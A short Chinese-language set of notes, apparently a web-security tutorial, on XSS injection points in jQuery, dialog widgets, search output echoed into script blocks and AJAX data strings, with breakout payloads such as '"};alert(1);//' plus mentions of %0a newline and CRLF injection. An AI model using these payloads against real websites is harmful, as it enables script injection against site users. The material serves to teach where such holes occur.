jquery框架
jquery中的 $(“x”).html(变量); //如果变量可控,可能会导致XSS、XSIO、CSRF、黑帽seo 等等
js dialog对话框
art.dialog({title:变量,content:变量}); //我在网上看过某些程序的代码,dialog这里的content的变量是根本没有过滤,直接XSS
网页搜索的时候,输出在JS里的情况
例如我搜索xss,然后查看源代码如下:
<script> $(document).ready(function(){ var get_data = {name: 'leesec', query: "xss"}; $.get('/test.php, get_data, function (reply) { .......... } <script> |
搜索的时候,在JS里面输出字符
接下来我们只要构造好语句,即可弹框
搜索 “};alert(1);//
<script> $(document).ready(function(){ var get_data = {name: 'leesec', query: ""};alert(1);//"} $.get('/test.php, get_data, function (reply) { .......... } <script> |
js代码里换行的重要性
<script> alert("12"); //在url地址栏路输入 %0a 可在js里换行 导致XSS <script> |
顺带提一下 %0d%0a 回车换行,用来CRLF 注入
js里jquery,ajax的使用注意事项
<script> $.ajax({ type: 'POST', url: '/test.php', data: 'id=' + id + '&name=' + name success: function(response) {} }); <script> |
上面这代码是在普通不过的代码,但是呢,如果id和name中有一个变量的值可控,
data:'id=x&name=test'});alert(1);</script>那么我们就能执行js代码了 |